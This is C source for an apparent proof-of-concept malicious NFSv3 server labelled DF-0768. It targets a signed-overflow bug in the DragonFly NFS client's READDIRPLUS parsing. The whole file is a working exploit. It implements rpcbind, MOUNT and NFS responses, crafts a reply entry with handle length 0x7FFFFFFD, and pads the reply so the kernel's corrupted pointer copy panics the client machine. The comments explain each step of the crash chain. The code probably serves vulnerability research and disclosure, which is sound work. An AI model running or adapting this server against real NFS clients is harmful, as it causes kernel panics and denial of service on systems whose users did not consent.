DF-0768 / nfs_mal_server.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 | /* * nfs_mal_server.c -- malicious NFSv3 server stub for DF-0768 PoC. * * Reproduces the signed-overflow in nfsm_rndup(i) inside * nfs_readdirplusrpc_uio() (sys/vfs/nfs/nfs_vnops.c:2924-2928). * * The READDIRPLUS entry-parse "else" branch (attrflag==0) does: * * NULLOUT(tl = nfsm_dissect(&info, NFSX_UNSIGNED)); * i = fxdr_unsigned(int, *tl); // server-controlled int * ERROROUT(nfsm_adv(&info, nfsm_rndup(i))); // nfsm_rndup overflows * * where nfsm_rndup(a) = ((a)+3) & ~3. For i >= 0x7FFFFFFD the addition * (a)+3 overflows signed int producing INT_MIN (0x80000000), and the * subsequent &~3 leaves it at INT_MIN. nfsm_adv(info, INT_MIN) then does: * * n = mtod(md,caddr_t)+md->m_len - dpos; // small positive * if (n >= len) // n >= INT_MIN -> TRUE (positive >= negative) * dpos += len; // dpos += INT_MIN -> WILD POINTER (2 GiB below) * * ... returning success (error=0). The next nfsm_dissect() then reads 4 * bytes from the corrupted dpos, which is a wild kernel address: page-fault * (trap 12) or GPF (trap 9) -> panic / DoS. * * The server speaks just enough NFSv3 + MOUNTv3 + rpcbind on loopback to let * the DragonFly NFS *client* mount an export (mounted with -o rdirplus, the * standard NFSv3 performance option that selects the READDIRPLUS path) and * then issue a getdents (ls), at which point we feed it the crafted * READDIRPLUS reply that drives i = 0x7FFFFFFD. * * The "exploit chain" that an unprivileged local user drives is just * ls /mnt (or any getdents on the mount) * after an administrator has mounted our malicious server with rdirplus * (the same pre-condition as "admin mounted an NFS share" -- a realistic * environment). * * Build: cc -O2 -o nfs_mal_server nfs_mal_server.c * Run: ./nfs_mal_server (as root, to bind 111/2049; this is the * compromised-server side of the harness) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <errno.h> #include <signal.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/select.h> #include <netinet/in.h> #include <arpa/inet.h> #define RPCB_PROG 100000u #define MOUNT_PROG 100005u #define NFS_PROG 100003u #define NFS3_OK 0u #define NFS3ERR_NOENT 2u #define NF3REG 1u #define NF3DIR 2u /* the root filehandle we hand to MOUNT.MNT. Its exact bytes don't matter. */ static unsigned char root_fh[8] = { 'R','0','0','T','0','0','0','0' }; /* ----------------------------------------------------------------------- */ /* low-level socket I/O */ /* ----------------------------------------------------------------------- */ static int read_n(int fd, void *buf, size_t n) { unsigned char *p = (unsigned char *)buf; size_t got = 0; while (got < n) { ssize_t r = read(fd, p + got, n - got); if (r <= 0) return -1; got += (size_t)r; } return 0; } static int write_n(int fd, const void *buf, size_t n) { const unsigned char *p = (const unsigned char *)buf; size_t put = 0; while (put < n) { ssize_t w = write(fd, p + put, n - put); if (w <= 0) return -1; put += (size_t)w; } return 0; } /* TCP RPC record marking: 4-byte header, top bit = last fragment. */ static int recv_msg(int fd, unsigned char *buf, size_t buflen, size_t *outlen) { unsigned char rm[4]; if (read_n(fd, rm, 4)) return -1; uint32_t rmlen = ((uint32_t)rm[0] << 24) | ((uint32_t)rm[1] << 16) | ((uint32_t)rm[2] << 8) | (uint32_t)rm[3]; rmlen &= 0x7fffffffu; /* strip "last" bit */ if (rmlen == 0 || rmlen > buflen) return -1; if (read_n(fd, buf, rmlen)) return -1; *outlen = rmlen; return 0; } static int send_msg(int fd, const unsigned char *buf, size_t len) { unsigned char rm[4]; uint32_t h = 0x80000000u | (uint32_t)(len & 0x7fffffffu); rm[0] = (unsigned char)(h >> 24); rm[1] = (unsigned char)(h >> 16); rm[2] = (unsigned char)(h >> 8); rm[3] = (unsigned char)(h); if (write_n(fd, rm, 4)) return -1; return write_n(fd, buf, len); } /* ----------------------------------------------------------------------- */ /* XDR encode helpers (growable buffer) */ /* ----------------------------------------------------------------------- */ typedef struct { unsigned char *p; size_t len, cap; } ebuf; static void eb_init(ebuf *b) { b->p = (unsigned char *)malloc(4096); b->len = 0; b->cap = 4096; } static void eb_ensure(ebuf *b, size_t add) { if (b->len + add <= b->cap) return; while (b->len + add > b->cap) b->cap *= 2; b->p = (unsigned char *)realloc(b->p, b->cap); } static void eb_u32(ebuf *b, uint32_t v) { eb_ensure(b, 4); b->p[b->len++] = (unsigned char)(v >> 24); b->p[b->len++] = (unsigned char)(v >> 16); b->p[b->len++] = (unsigned char)(v >> 8); b->p[b->len++] = (unsigned char)(v); } static void eb_u64(ebuf *b, uint64_t v) { eb_u32(b, (uint32_t)(v >> 32)); eb_u32(b, (uint32_t)v); } static void eb_opaque(ebuf *b, const void *data, size_t n) { size_t pad = (4 - (n & 3)) & 3; eb_ensure(b, 4 + n + pad); eb_u32(b, (uint32_t)n); memcpy(b->p + b->len, data, n); b->len += n; for (size_t i = 0; i < pad; i++) b->p[b->len++] = 0; } static void eb_str(ebuf *b, const char *s) { eb_opaque(b, s, strlen(s)); } /* ----------------------------------------------------------------------- */ /* XDR decode cursor */ /* ----------------------------------------------------------------------- */ typedef struct { const unsigned char *p; size_t len, off; } dcur; static int dc_u32(dcur *c, uint32_t *v) { if (c->off + 4 > c->len) return -1; *v = ((uint32_t)c->p[c->off] << 24) | ((uint32_t)c->p[c->off + 1] << 16) | ((uint32_t)c->p[c->off + 2] << 8) | (uint32_t)c->p[c->off + 3]; c->off += 4; return 0; } static int dc_skip_opaque(dcur *c) { uint32_t n; if (dc_u32(c, &n)) return -1; size_t pad = (4 - (n & 3)) & 3; if (c->off + n + pad > c->len) return -1; c->off += n + pad; return 0; } /* ----------------------------------------------------------------------- */ /* fattr3 / post_op_attr encoders */ /* ----------------------------------------------------------------------- */ static void eb_fattr_dir(ebuf *b) { eb_u32(b, NF3DIR); /* type */ eb_u32(b, 0777); /* mode */ eb_u32(b, 3); /* nlink */ eb_u32(b, 0); /* uid */ eb_u32(b, 0); /* gid */ eb_u64(b, 512); /* size */ eb_u64(b, 512); /* used */ eb_u32(b, 0); eb_u32(b, 0); /* rdev major, minor */ eb_u64(b, 0x01010101u); /* fsid */ eb_u64(b, 1); /* fileid */ eb_u32(b, 0x60000000u); eb_u32(b, 0); /* atime */ eb_u32(b, 0x60000000u); eb_u32(b, 0); /* mtime */ eb_u32(b, 0x60000000u); eb_u32(b, 0); /* ctime */ } static void eb_poa_present(ebuf *b) { eb_u32(b, 1); eb_fattr_dir(b); } static void eb_poa_absent(ebuf *b) { eb_u32(b, 0); } /* ----------------------------------------------------------------------- */ /* RPC reply builders */ /* ----------------------------------------------------------------------- */ static void eb_reply_ok(ebuf *b, uint32_t xid) { eb_u32(b, xid); eb_u32(b, 1); /* REPLY */ eb_u32(b, 0); /* MSG_ACCEPTED */ eb_u32(b, 0); eb_u32(b, 0); /* verifier: NULL auth (flavor=0, len=0) */ eb_u32(b, 0); /* SUCCESS */ } static void eb_reply_proc_unavail(ebuf *b, uint32_t xid) { eb_u32(b, xid); eb_u32(b, 1); /* REPLY */ eb_u32(b, 0); /* MSG_ACCEPTED */ eb_u32(b, 0); eb_u32(b, 0); /* verifier NULL */ eb_u32(b, 3); /* PROC_UNAVAIL */ } /* ----------------------------------------------------------------------- */ /* dispatch a single RPC CALL */ /* ----------------------------------------------------------------------- */ static void handle_call(const unsigned char *req, size_t reqlen, ebuf *rep) { dcur c = { req, reqlen, 0 }; uint32_t xid = 0, msgtype = 0, rpcvers = 0, prog = 0, vers = 0, proc = 0; if (dc_u32(&c, &xid) || dc_u32(&c, &msgtype) || dc_u32(&c, &rpcvers) || dc_u32(&c, &prog) || dc_u32(&c, &vers) || dc_u32(&c, &proc)) return; /* skip opaque_auth cred and verf */ uint32_t cred_body_len = 0, cred_flavor = 0; uint32_t verf_body_len = 0, verf_flavor = 0; if (dc_u32(&c, &cred_flavor)) return; if (dc_u32(&c, &cred_body_len)) return; if (cred_body_len > 65536) return; size_t cred_pad = (4 - (cred_body_len & 3)) & 3; if (c.off + cred_body_len + cred_pad > c.len) return; c.off += cred_body_len + cred_pad; if (dc_u32(&c, &verf_flavor)) return; if (dc_u32(&c, &verf_body_len)) return; if (verf_body_len > 65536) return; size_t verf_pad = (4 - (verf_body_len & 3)) & 3; if (c.off + verf_body_len + verf_pad > c.len) return; c.off += verf_body_len + verf_pad; if (getenv("DF768_DEBUG")) fprintf(stderr, "[recv] xid=%08x prog=%u vers=%u proc=%u reqlen=%zu argsoff=%zu\n", xid, prog, vers, proc, reqlen, c.off); if (prog == RPCB_PROG) { if (proc == 0) { /* NULL */ eb_reply_ok(rep, xid); } else if (proc == 3) { /* RPCB_GETADDR / PMAP_GETPORT */ if (vers >= 3) { eb_reply_ok(rep, xid); eb_str(rep, "127.0.0.1.8.1"); /* port 2049 = 0x0801 -> 8.1 */ } else { eb_reply_ok(rep, xid); eb_u32(rep, 2049); } } else if (proc == 2) { /* DUMP */ eb_reply_ok(rep, xid); eb_u32(rep, 0); /* empty list */ } else { eb_reply_proc_unavail(rep, xid); } return; } if (prog == MOUNT_PROG) { if (proc == 0) { /* NULL */ eb_reply_ok(rep, xid); } else if (proc == 1) { /* MNT */ eb_reply_ok(rep, xid); eb_u32(rep, 0); /* MNT3_OK */ eb_opaque(rep, root_fh, sizeof(root_fh)); eb_u32(rep, 1); /* one auth flavor */ eb_u32(rep, 1); /* AUTH_SYS */ } else if (proc == 3) { /* UMNT */ eb_reply_ok(rep, xid); eb_u32(rep, 0); } else { eb_reply_proc_unavail(rep, xid); } return; } if (prog == NFS_PROG) { switch (proc) { case 0: /* NULL */ eb_reply_ok(rep, xid); break; case 1: /* GETATTR */ eb_reply_ok(rep, xid); eb_u32(rep, NFS3_OK); eb_poa_present(rep); /* obj attrs */ break; case 3: /* LOOKUP -- simple NOENT */ eb_reply_ok(rep, xid); eb_u32(rep, NFS3ERR_NOENT); eb_poa_present(rep); /* dir attrs (LOOKUP3resfail) */ break; case 4: /* ACCESS */ eb_reply_ok(rep, xid); eb_u32(rep, NFS3_OK); eb_poa_present(rep); eb_u32(rep, 0x3f); /* all access bits */ break; case 17: { /* READDIRPLUS -- THE TRIGGER */ /* Crafted entry that drives the nfsm_rndup(i) signed overflow: * * entry3: * fileid = 1 * name = "a" (len=1, padded to 4) * cookie = 1 * name_attributes (post_op_attr): attributes_follow = 0 * -> client takes the buggy "else" branch and reads the * next u32 as the (mythical) handle length "i" * i = 0x7FFFFFFD -> nfsm_rndup(i) = INT_MIN -> wild dpos * * We stop here; the client's very next nfsm_dissect reads 4 * bytes from the corrupted dpos and panics (page-fault/GPF). * No further bytes are needed (and none would be reached). */ eb_reply_ok(rep, xid); eb_u32(rep, NFS3_OK); /* status */ eb_poa_present(rep); /* dir_attributes (post_op_attr) */ eb_u64(rep, 0); /* cookieverf (8 bytes) */ eb_u32(rep, 1); /* value_follows = 1 (entries follow) */ /* entry3: */ eb_u64(rep, 1); /* fileid */ eb_str(rep, "a"); /* name "a" (len=1 + 3 pad) */ eb_u64(rep, 2); /* cookie */ eb_u32(rep, 0); /* name_attributes: attributes_follow = 0 (attrflag=0) */ eb_u32(rep, 0x7FFFFFFDu); /* the "handle length" i -> nfsm_rndup overflows to INT_MIN */ /* * Trailing padding: force the reply to span >=2 mbuf clusters * (MCLBYTES=2048). Why this matters: after nfsm_adv() corrupts * dpos 2 GiB below the real data, the next nfsm_dissect() * computes n = (mbuf_end - corrupted_dpos) which truncates to a * NEGATIVE int, so it routes to nfsm_disct(). In nfsm_disct(), * - if mp->m_next == NULL (single cluster): returns EBADRPC * (clean error, no deref) -- the bug is silent. * - if mp->m_next != NULL (multi cluster): takes the pull-up * branch and does bcopy(corrupted_dpos, fresh_mbuf, * (size_t)left) with left<0 -> copies ~2^64 bytes from the * wild pointer -> page fault -> PANIC. * The client never parses these trailing bytes (it panics first), * but they live in the received mbuf chain so that the cluster * holding the corrupted dpos has a non-NULL m_next. 8 KiB * guarantees >=2 clusters (2048 B each). */ { size_t pad = 8192; eb_ensure(rep, pad); memset(rep->p + rep->len, 0, pad); rep->len += pad; } break; } case 16: /* READDIR -- punt (empty, eof) */ eb_reply_ok(rep, xid); eb_u32(rep, NFS3_OK); eb_poa_absent(rep); eb_u32(rep, 0); /* eof=true with no entries */ break; case 19: /* FSINFO */ eb_reply_ok(rep, xid); eb_u32(rep, NFS3_OK); eb_poa_present(rep); eb_u32(rep, 8192); eb_u32(rep, 8192); eb_u32(rep, 512); /* rtmax/rtpref/rtmult */ eb_u32(rep, 8192); eb_u32(rep, 8192); eb_u32(rep, 512); /* wtmax/wtpref/wtmult */ eb_u32(rep, 8192); /* dtpref */ eb_u64(rep, 0x7fffffffffffffffull); /* maxfilesize */ eb_u32(rep, 1); eb_u32(rep, 0); /* time_delta (1s) */ eb_u32(rep, 0x01); /* properties: FSF_LINK */ break; case 20: /* PATHCONF */ eb_reply_ok(rep, xid); eb_u32(rep, NFS3_OK); eb_poa_present(rep); eb_u32(rep, 255); /* linkmax */ eb_u32(rep, 255); /* name_max */ eb_u32(rep, 1); /* no_trunc */ eb_u32(rep, 0); /* chown_restricted */ eb_u32(rep, 0); /* case_insensitive */ eb_u32(rep, 1); /* case_preserving */ break; case 2: /* SETATTR -- punt ok */ eb_reply_ok(rep, xid); eb_u32(rep, NFS3_OK); eb_u32(rep, 0); eb_u32(rep, 0); /* wcc */ break; case 18: /* FSSTAT */ eb_reply_ok(rep, xid); eb_u32(rep, NFS3_OK); eb_poa_present(rep); eb_u64(rep, 4096); eb_u64(rep, 2048); eb_u64(rep, 0); /* tbytes/fbytes/abytes */ eb_u64(rep, 1000000); eb_u64(rep, 500000); eb_u64(rep, 0); /* tfiles/ffiles/afiles */ eb_u32(rep, 0); eb_u32(rep, 0); /* invarsec (1s) */ break; default: eb_reply_proc_unavail(rep, xid); break; } return; } /* unknown program -- reply garbage-free SUCCESS-with-empty */ eb_reply_ok(rep, xid); } /* ----------------------------------------------------------------------- */ /* per-connection handler (single-threaded; small messages) */ /* ----------------------------------------------------------------------- */ static void handle_conn(int fd) { for (;;) { unsigned char reqbuf[16384]; size_t reqlen = 0; if (recv_msg(fd, reqbuf, sizeof(reqbuf), &reqlen)) return; if (reqlen < 8) continue; uint32_t msgtype = ((uint32_t)reqbuf[4] << 24) | ((uint32_t)reqbuf[5] << 16) | ((uint32_t)reqbuf[6] << 8) | (uint32_t)reqbuf[7]; if (msgtype != 0) continue; /* only handle CALL */ ebuf rep; eb_init(&rep); handle_call(reqbuf, reqlen, &rep); if (rep.len == 0) { free(rep.p); continue; } if (getenv("DF768_DEBUG")) fprintf(stderr, "[send tcp] %zu bytes\n", rep.len); int rc = send_msg(fd, rep.p, rep.len); free(rep.p); if (rc) return; } } /* UDP handler: process a single datagram (one unframed RPC message). */ static void handle_udp_one(int fd) { unsigned char reqbuf[16384]; struct sockaddr_in cli; socklen_t clilen = sizeof(cli); ssize_t n = recvfrom(fd, reqbuf, sizeof(reqbuf), 0, (struct sockaddr *)&cli, &clilen); if (n <= 0) return; size_t reqlen = (size_t)n; if (reqlen < 8) return; uint32_t msgtype = ((uint32_t)reqbuf[4] << 24) | ((uint32_t)reqbuf[5] << 16) | ((uint32_t)reqbuf[6] << 8) | (uint32_t)reqbuf[7]; if (msgtype != 0) return; ebuf rep; eb_init(&rep); handle_call(reqbuf, reqlen, &rep); if (rep.len == 0) { free(rep.p); return; } if (getenv("DF768_DEBUG")) fprintf(stderr, "[send udp] %zu bytes\n", rep.len); sendto(fd, rep.p, rep.len, 0, (struct sockaddr *)&cli, clilen); free(rep.p); } int main(void) { signal(SIGPIPE, SIG_IGN); int s111_tcp = socket(AF_INET, SOCK_STREAM, 0); int s111_udp = socket(AF_INET, SOCK_DGRAM, 0); int s2049 = socket(AF_INET, SOCK_STREAM, 0); if (s111_tcp < 0 || s111_udp < 0 || s2049 < 0) { perror("socket"); return 1; } int one = 1; setsockopt(s111_tcp, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); setsockopt(s111_udp, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); setsockopt(s2049, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in a; memset(&a, 0, sizeof(a)); a.sin_family = AF_INET; a.sin_addr.s_addr = inet_addr("127.0.0.1"); a.sin_port = htons(111); if (bind(s111_tcp, (struct sockaddr *)&a, sizeof(a))) { perror("bind tcp 111"); return 1; } if (bind(s111_udp, (struct sockaddr *)&a, sizeof(a))) { perror("bind udp 111"); return 1; } if (listen(s111_tcp, 8)) { perror("listen tcp 111"); return 1; } a.sin_port = htons(2049); if (bind(s2049, (struct sockaddr *)&a, sizeof(a))) { perror("bind 2049"); return 1; } if (listen(s2049, 8)) { perror("listen 2049"); return 1; } fprintf(stderr, "DF-0768 malicious NFSv3 server: rpcbind 127.0.0.1:111 " "(tcp+udp), MOUNT+NFS 127.0.0.1:2049 (tcp)\n"); for (;;) { fd_set fds; FD_ZERO(&fds); FD_SET(s111_tcp, &fds); FD_SET(s111_udp, &fds); FD_SET(s2049, &fds); int mx = s2049 + 1; int sr = select(mx, &fds, NULL, NULL, NULL); if (sr < 0) { if (errno == EINTR) continue; perror("select"); break; } if (FD_ISSET(s111_tcp, &fds)) { int cl = accept(s111_tcp, NULL, NULL); if (cl >= 0) { handle_conn(cl); close(cl); } } if (FD_ISSET(s111_udp, &fds)) { handle_udp_one(s111_udp); } if (FD_ISSET(s2049, &fds)) { int cl = accept(s2049, NULL, NULL); if (cl >= 0) { handle_conn(cl); close(cl); } } } return 0; } |